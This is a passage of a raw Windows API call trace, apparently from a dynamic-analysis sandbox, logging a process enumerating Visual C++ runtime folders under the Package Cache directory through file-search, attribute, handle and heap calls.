RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.522] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.522] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.522] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9098 [0092.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f1c8 [0092.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.525] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 1 [0092.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f90b8 [0092.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1254060 [0092.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9e80) returned 0x1386570 [0092.527] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 0 [0092.527] GetLastError () returned 0x12 [0092.527] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.527] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.527] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.528] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.528] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 1 [0092.528] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 0 [0092.528] GetLastError () returned 0x12 [0092.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.528] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.529] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 0 [0092.529] GetLastError () returned 0x12 [0092.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.529] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eda8) returned 1 [0092.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eb98) returned 1 [0092.530] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.530] GetLastError () returned 0x12 [0092.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.530] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.530] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="")) returned 1 [0092.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.531] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.531] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.532] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.532] NtClose (Handle=0x15c) returned 0x0 [0092.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.533] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.534] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.534] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f90d8 [0092.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eb98 [0092.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.536] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="")) returned 1 [0092.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.538] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="")) returned 0 [0092.538] GetLastError () returned 0x12 [0092.538] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.538] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.538] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.538] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.538] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="")) returned 1 [0092.538] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="")) returned 0 [0092.538] GetLastError () returned 0x12 [0092.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.539] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.539] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="")) returned 1 [0092.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.540] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.541] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.541] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.541] NtClose (Handle=0x178) returned 0x0 [0092.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.543] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.543] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.543] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.543] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.543] GetLastError () returned 0x12 [0092.543] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.543] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.543] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.543] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, 